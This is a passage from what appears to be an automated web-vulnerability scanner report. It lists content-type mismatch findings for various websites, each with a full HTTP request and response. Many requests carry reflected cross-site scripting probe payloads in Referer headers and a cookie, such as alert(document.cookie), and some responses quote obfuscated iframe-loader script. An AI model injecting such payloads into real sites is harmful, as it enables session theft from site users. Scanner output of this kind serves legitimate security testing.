Content-Type: text/plain
Date: Sat, 05 Feb 2011 23:32:46 GMT
Connection: close
X-N: S

twttr.receiveCount({"errors":[{"code":48,"message":"Unable to access URL counting services"}]})

32.40. http://us.blackberry.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://us.blackberry.com
Path:	/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain; charset=UTF-8

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /favicon.ico HTTP/1.1
Host: us.blackberry.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; dfa_cookie=rimglobal%2Crimbbus; s_sq=%5B%5BB%5D%5D; s_sv_sid=641990084704; s_sv_p1=1@17@d/10004/13235&e/2; s_sv_s1=1@16@a//1296999182564; BLLY=35Q54e83kMijy_nk89V0lFAxrY6VDtbVadHWdB3h9L8A2uRr36LQVVw; s_vi=[CS]v1|26A75174851D0DA2-40000133800583FB[CE]; fsr.s={"v":1,"rid":"1296999185012_659282","ru":"http://burp/show/47","r":"burp","st":"","pv":1,"to":3,"c":"http://us.blackberry.com/smartphones/94178\"><script>alert(document.cookie)</script>d0d62204af5/","lc":{"d1":{"v":1,"s":false}}}

Response

HTTP/1.1 200 OK
Server: Apache/2.0.52 (Red Hat)
Last-Modified: Thu, 03 Feb 2011 21:58:01 GMT
ETag: "177806d-47e-dbf44c40"
Accept-Ranges: bytes
Content-Length: 1150
Content-Type: text/plain; charset=UTF-8
Date: Sun, 06 Feb 2011 13:32:28 GMT
Connection: close

............ .h.......(....... ..... .............................................................................................T..YT...T...T...T...T...T...T...T...T...T...T...T..;............T...T.
...[SNIP]...

32.41. http://us.blackberry.com/foresee/foresee-surveydef.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://us.blackberry.com
Path:	/foresee/foresee-surveydef.js

Issue detail

The response contains the following Content-type statement:

Content-Type: application/x-javascript

The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /foresee/foresee-surveydef.js HTTP/1.1
Host: us.blackberry.com
Proxy-Connection: keep-alive
Referer: http://us.blackberry.com/smartphones/94178%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ed0d62204af5/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; dfa_cookie=rimglobal%2Crimbbus; s_sq=%5B%5BB%5D%5D; s_sv_sid=641990084704; s_sv_p1=1@17@d/10004/13235&e/2; s_sv_s1=1@16@a//1296999182564; BLLY=35Q54e83kMijy_nk89V0lFAxrY6VDtbVadHWdB3h9L8A2uRr36LQVVw; s_vi=[CS]v1|26A75174851D0DA2-40000133800583FB[CE]; fsr.a=1296999183997

Response

HTTP/1.1 200 OK
Server: Apache/2.0.52 (Red Hat)
Last-Modified: Thu, 03 Feb 2011 21:58:01 GMT
ETag: "1b84609-529d-dbf44c40"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Type: application/x-javascript
Date: Sun, 06 Feb 2011 13:32:28 GMT
Connection: close
Content-Length: 21149

...FSR.surveydefs = [{
name: 'browse',
section: 'playbook',
pin: 1,
invite: {
when: 'onentry'
},
pop: {
when: 'later'
},
criteria: {
sp: 10
...[SNIP]...

32.42. http://uselessjunk.com/article_full.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://uselessjunk.com
Path:	/article_full.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /article_full.php HTTP/1.1
Host: uselessjunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

32.43. http://users.tpg.com.au/j_birch/plugins/superfish/changelog.txt previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://users.tpg.com.au
Path:	/j_birch/plugins/superfish/changelog.txt

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain script.

Request

GET /j_birch/plugins/superfish/changelog.txt HTTP/1.1
Host: users.tpg.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:05:06 GMT
Server: Apache/2.0.63 (Unix)
Last-Modified: Sat, 26 Jul 2008 21:30:42 GMT
ETag: "fda65-1461-936480"
Accept-Ranges: bytes
Content-Length: 5217
Cache-Control: max-age=86400
Expires: Mon, 07 Feb 2011 16:05:06 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain

Changelog for Superfish - a jQuery menu plugin

v1.2.1: altered 2nd July 07. added hide() before animate to make work for jQuery 1.1.3.

v1.2.2: altered 2nd August 07. changed over function .find(
...[SNIP]...

32.44. http://videos.video-loader.com/sp/10711909126097144647865.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://videos.video-loader.com
Path:	/sp/10711909126097144647865.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /sp/10711909126097144647865.js HTTP/1.1
Host: videos.video-loader.com
Proxy-Connection: keep-alive
Referer: http://www.kledy.es/?bc891%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d09625540c=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:11:44 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Last-Modified: Thu, 18 Nov 2010 15:27:00 CET
Content-Length: 1292
Cache-Control: max-age=259200
Content-Type: text/html; charset=UTF-8
Connection: keep-alive

document.write(
'<if' + 'rame ' +
'src="h' + 'tt' + 'p:' + '/' + '/file' + 's.vid' + 'eo-loa' + 'der.c' + 'om/au2m8_preloader/10711909126097144647865.htm?vs=1' +
'&r=' + encodeURIComponent(document.lo
...[SNIP]...

32.45. http://videos.video-loader.com/sp/212119091279653321133331.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://videos.video-loader.com
Path:	/sp/212119091279653321133331.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /sp/212119091279653321133331.js HTTP/1.1
Host: videos.video-loader.com
Proxy-Connection: keep-alive
Referer: http://www.kledy.eu/?f0d30%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E31ed3e6c6d3=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache
X-Powered-By: PHP/5.2.14
Content-Length: 1293
Cache-Control: max-age=259200
Content-Type: text/html; charset=UTF-8
Age: 108136
Date: Sun, 06 Feb 2011 16:14:44 GMT
Last-Modified: Thu, 18 Nov 2010 15:27:00 GMT
Expires: Tue, 08 Feb 2011 10:12:28 GMT
Connection: keep-alive

document.write(
'<if' + 'rame ' +
'src="h' + 'tt' + 'p:' + '/' + '/file' + 's.vid' + 'eo-loa' + 'der.c' + 'om/au2m8_preloader/212119091279653321133331.htm?vs=1' +
'&r=' + encodeURIComponent(document.l
...[SNIP]...

32.46. http://videos.video-loader.com/sp/350119091292093356328905.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://videos.video-loader.com
Path:	/sp/350119091292093356328905.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /sp/350119091292093356328905.js HTTP/1.1
Host: videos.video-loader.com
Proxy-Connection: keep-alive
Referer: http://www.kledy.it/?44921%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E107b665304c=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache
X-Powered-By: PHP/5.2.14
Content-Length: 1293
Cache-Control: max-age=259200
Content-Type: text/html; charset=UTF-8
Age: 41520
Date: Sun, 06 Feb 2011 16:15:05 GMT
Last-Modified: Thu, 18 Nov 2010 15:27:00 GMT
Expires: Wed, 09 Feb 2011 04:43:05 GMT
Connection: keep-alive

document.write(
'<if' + 'rame ' +
'src="h' + 'tt' + 'p:' + '/' + '/file' + 's.vid' + 'eo-loa' + 'der.c' + 'om/au2m8_preloader/350119091292093356328905.htm?vs=1' +
'&r=' + encodeURIComponent(document.l
...[SNIP]...

32.47. http://videos.video-loader.com/sp/37211909126091178247379.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://videos.video-loader.com
Path:	/sp/37211909126091178247379.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /sp/37211909126091178247379.js HTTP/1.1
Host: videos.video-loader.com
Proxy-Connection: keep-alive
Referer: http://www.kledy.co.uk/?b6885%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E58b3310da99=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:10:20 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Last-Modified: Thu, 18 Nov 2010 15:27:00 CET
Content-Length: 1292
Cache-Control: max-age=259200
Content-Type: text/html; charset=UTF-8
Connection: keep-alive

document.write(
'<if' + 'rame ' +
'src="h' + 'tt' + 'p:' + '/' + '/file' + 's.vid' + 'eo-loa' + 'der.c' + 'om/au2m8_preloader/37211909126091178247379.htm?vs=1' +
'&r=' + encodeURIComponent(document.lo
...[SNIP]...

32.48. http://videos.video-loader.com/sp/50811909125880119639927.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://videos.video-loader.com
Path:	/sp/50811909125880119639927.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /sp/50811909125880119639927.js HTTP/1.1
Host: videos.video-loader.com
Proxy-Connection: keep-alive
Referer: http://www.kledy.us/?88099%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E31a8b6ec06f=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:47 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Last-Modified: Thu, 18 Nov 2010 15:27:00 CET
Content-Length: 1292
Cache-Control: max-age=259200
Content-Type: text/html; charset=UTF-8
Connection: keep-alive

document.write(
'<if' + 'rame ' +
'src="h' + 'tt' + 'p:' + '/' + '/file' + 's.vid' + 'eo-loa' + 'der.c' + 'om/au2m8_preloader/50811909125880119639927.htm?vs=1' +
'&r=' + encodeURIComponent(document.lo
...[SNIP]...

32.49. http://videos.video-loader.com/sp/798119091292066790328795.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://videos.video-loader.com
Path:	/sp/798119091292066790328795.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /sp/798119091292066790328795.js HTTP/1.1
Host: videos.video-loader.com
Proxy-Connection: keep-alive
Referer: http://www.peppernews.eu/?d7d65%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef6336f06cd4=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache
X-Powered-By: PHP/5.2.14
Content-Length: 1293
Cache-Control: max-age=259200
Content-Type: text/html; charset=UTF-8
Age: 92945
Date: Sun, 06 Feb 2011 17:13:53 GMT
Last-Modified: Thu, 18 Nov 2010 15:27:00 GMT
Expires: Tue, 08 Feb 2011 15:24:48 GMT
Connection: keep-alive

document.write(
'<if' + 'rame ' +
'src="h' + 'tt' + 'p:' + '/' + '/file' + 's.vid' + 'eo-loa' + 'der.c' + 'om/au2m8_preloader/798119091292066790328795.htm?vs=1' +
'&r=' + encodeURIComponent(document.l
...[SNIP]...

32.50. http://videos.video-loader.com/sp/81211909126097148926263.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://videos.video-loader.com
Path:	/sp/81211909126097148926263.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /sp/81211909126097148926263.js HTTP/1.1
Host: videos.video-loader.com
Proxy-Connection: keep-alive
Referer: http://www.kledy.de/bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache
X-Powered-By: PHP/5.2.14
Content-Length: 1292
Cache-Control: max-age=259200
Content-Type: text/html; charset=UTF-8
Age: 239430
Date: Sat, 05 Feb 2011 23:07:24 GMT
Last-Modified: Thu, 18 Nov 2010 15:27:00 GMT
Expires: Sun, 06 Feb 2011 04:36:54 GMT
Connection: keep-alive

document.write(
'<if' + 'rame ' +
'src="h' + 'tt' + 'p:' + '/' + '/file' + 's.vid' + 'eo-loa' + 'der.c' + 'om/au2m8_preloader/81211909126097148926263.htm?vs=1' +
'&r=' + encodeURIComponent(document.lo
...[SNIP]...

Summary

Severity:	Information
Confidence:	Firm
Host:	http://webmail.aol.com
Path:	/$\|http:/travel.aol.com/$\|http:/netscape.aol.com/$\|http:/music.aol.com/radioguide/bb/$\|http:/money.aol.com/$\|http:/www.aim.com/help_faq/starting_out/buddylist.adp/$\|http:/www.weblogs.com/$\|http:/smallbusiness.aol.com/$\|http:/www.blackvoices.com/$\|http:/latino.aol.com/$\|.ivillage.com.*/1\|www.ivillage.com/(celeb-news\|entertainment-photos\|tv\|for-kids\|video\|entertainment\|movies\|food\|recipes\|table-talk\|food-for-kids\|food-advice\|food-news\|food-video

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

Response

HTTP/1.1 400 Bad Request
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Sun, 06 Feb 2011 16:05:08 GMT
Content-Length: 11

Bad Request

32.52. http://widgets.etoro.com/calendar/CalendarJS.aspx previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://widgets.etoro.com
Path:	/calendar/CalendarJS.aspx

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain script.

Request

GET /calendar/CalendarJS.aspx?v=2 HTTP/1.1
Host: widgets.etoro.com
Proxy-Connection: keep-alive
Referer: http://www.forex-direkt.de/?b35b2--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7a27f6b27d=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:25:57 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/plain
Content-Length: 854

...function openEtoro(url) {
var mode = 1;
if (mode == 1)
window.open(unescape(url));
}

if (etoroPowered == null)
var etoroPowered = "Forex widget powered by";

v
...[SNIP]...

32.53. http://widgets.etoro.com/championship/ChampJS.aspx previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://widgets.etoro.com
Path:	/championship/ChampJS.aspx

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain script.

Request

GET /championship/ChampJS.aspx?v=2 HTTP/1.1
Host: widgets.etoro.com
Proxy-Connection: keep-alive
Referer: http://www.forex-direkt.de/?b35b2--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7a27f6b27d=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:25:57 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: PleskWin
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/plain
Content-Length: 819

...function openEtoro(url) {
var mode = 1;
if (mode == 1)
window.open(unescape(url));
}

if (etoroPowered == null)
var etoroPowered = "Forex widget powered by";

v
...[SNIP]...

32.54. https://www.blackberry.com/profile/ previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://www.blackberry.com
Path:	/profile/

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html;charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /profile/ HTTP/1.1
Host: www.blackberry.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

32.55. http://www.csc.gatech.edu/copeland/jac/6612/info/SSH-No-Password-Login.txt previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.csc.gatech.edu
Path:	/copeland/jac/6612/info/SSH-No-Password-Login.txt

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain script.

Request

Response

32.56. http://www.download32.com/images/thumb/Bricolsoft_Zip_Compression_Library-161033.png previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.download32.com
Path:	/images/thumb/Bricolsoft_Zip_Compression_Library-161033.png

Issue detail

The response contains the following Content-type statement:

Content-Type: image/png

The response states that it contains a PNG image. However, it actually appears to contain a JPEG image.

Request

GET /images/thumb/Bricolsoft_Zip_Compression_Library-161033.png HTTP/1.1
Host: www.download32.com
Proxy-Connection: keep-alive
Referer: http://www.download32.com/new.html?e898c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ebfecbfd1b5d=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1697810850-1296942494788

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:04:36 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
Last-Modified: Wed, 02 Feb 2011 14:09:40 GMT
ETag: "2755098-d39-49b4d3329b100"
Accept-Ranges: bytes
Content-Length: 3385
Cache-Control: max-age=15552000
Expires: Thu, 04 Aug 2011 22:04:36 GMT
Content-Type: image/png

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 75
...C........... .
................... $.' ",#..(7),01444.'9=82<.342...C. .....2!.!2222222222222222222222222222222
...[SNIP]...

32.57. http://www.download32.com/images/thumb/mso2%20thum.gif previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.download32.com
Path:	/images/thumb/mso2%20thum.gif

Issue detail

The response contains the following Content-type statement:

Content-Type: image/gif

The response states that it contains a GIF image. However, it actually appears to contain a PNG image.

Request

GET /images/thumb/mso2%20thum.gif HTTP/1.1
Host: www.download32.com
Proxy-Connection: keep-alive
Referer: http://www.download32.com/new.html?e898c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ebfecbfd1b5d=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1697810850-1296942494788

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:04:39 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
Last-Modified: Wed, 02 Feb 2011 15:36:12 GMT
ETag: "27550ac-907-49b4e68a15300"
Accept-Ranges: bytes
Content-Length: 2311
Cache-Control: max-age=15552000
Expires: Thu, 04 Aug 2011 22:04:39 GMT
Content-Type: image/gif

.PNG
.
...IHDR...d...Q........x....PLTE.................................................................................~..m..S|.Cq.Cq.Cr.Dr.Ds.Ds.Iw.M{.N|.P~.Q~.P~.S.S..T..R}.Q}.Oz.Oy.Pz.Py.S{.Z..
...[SNIP]...

32.58. http://www.filetransit.com/images/thumb/2d87c03cd41f91bf73891204a7e5136d_Axence_NetTools_Pro.gif previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.filetransit.com
Path:	/images/thumb/2d87c03cd41f91bf73891204a7e5136d_Axence_NetTools_Pro.gif

Issue detail

The response contains the following Content-type statement:

Content-Type: image/gif

The response states that it contains a GIF image. However, it actually appears to contain a JPEG image.

Request

GET /images/thumb/2d87c03cd41f91bf73891204a7e5136d_Axence_NetTools_Pro.gif HTTP/1.1
Host: www.filetransit.com
Proxy-Connection: keep-alive
Referer: http://www.filetransit.com/files.php?name=Nslookup
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=b798f2d79978526c7191b6da15321c67

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:48:02 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 PHP/5.2.16
Last-Modified: Fri, 14 Jan 2011 12:14:13 GMT
ETag: "1461f3b-c6d-499cd5f4bef40"
Accept-Ranges: bytes
Content-Length: 3181
Cache-Control: max-age=15552000
Expires: Thu, 04 Aug 2011 21:48:02 GMT
Content-Type: image/gif

......JFIF.............C........... .
................... $.' ",#..(7),01444.'9=82<.342...C. .....2!.!22222222222222222222222222222222222222222222222222......J.d.."..............................
...[SNIP]...

32.59. http://www.filetransit.com/images/thumb/dc6c5c025c75144466152decaf8b7627_Magic_Basket.jpg previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.filetransit.com
Path:	/images/thumb/dc6c5c025c75144466152decaf8b7627_Magic_Basket.jpg

Issue detail

The response contains the following Content-type statement:

Content-Type: image/jpeg

The response states that it contains a JPEG image. However, it actually appears to contain a GIF image.

Request

GET /images/thumb/dc6c5c025c75144466152decaf8b7627_Magic_Basket.jpg HTTP/1.1
Host: www.filetransit.com
Proxy-Connection: keep-alive
Referer: http://www.filetransit.com/demo.php?6e3f0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6896f2e55e7=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:06:58 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 PHP/5.2.16
Last-Modified: Fri, 06 Oct 2006 08:49:58 GMT
ETag: "6f2312-a64-41f208e8f1980"
Accept-Ranges: bytes
Content-Length: 2660
Cache-Control: max-age=15552000
Expires: Thu, 04 Aug 2011 22:06:58 GMT
Content-Type: image/jpeg

GIF87a`.d....
#k&A.;V.Nl.b..{..~.................SRRhgf.................................:::]\[.. vus........................NK...................t.`..W............rtN.....|..........h.................
...[SNIP]...

32.60. http://www.freedownloadscenter.com/Reviews/ previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.freedownloadscenter.com
Path:	/Reviews/

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain script.

Request

Response

32.61. http://www.freedownloadscenter.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.freedownloadscenter.com
Path:	/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /favicon.ico HTTP/1.1
Host: www.freedownloadscenter.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=118730462.1296942490.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=118730462.1479561773.1296942490.1296942490.1296942490.1; __utmc=118730462; __utmb=118730462.1.10.1296942490

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Date: Sat, 05 Feb 2011 21:48:02 GMT
Content-Type: text/plain
Connection: keep-alive
Last-Modified: Fri, 05 Sep 2008 21:17:03 GMT
ETag: "672c0-47e-9740d1c0"
Keep-Alive: timeout=15, max=500
Content-Length: 1150

............ .h.......(....... ..... ............................................8.qC..n0..h ..j ..s3..xF...~8.............................yQ..f...f...i...k...j...i...k...r ...Q....................
.|
...[SNIP]...

32.62. http://www.google.com/uds/Gfeeds previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.google.com
Path:	/uds/Gfeeds

Issue detail

The response contains the following Content-type statement:

Content-Type: text/javascript; charset=utf-8

The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /uds/Gfeeds?callback=google.feeds.Feed.RawCompletion&context=0&num=5&hl=en&output=json&q=http%3A%2F%2Ffeeds.feedburner.com%2FCyberWiki&key=notsupplied-wizard&v=1.0&nocache=1297012301727 HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
Referer: http://www.mittelstandsblog.de/?d18cb%22%3E%3Cscript%3Ealert(1)%3C/script%3E02e0a7e96b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
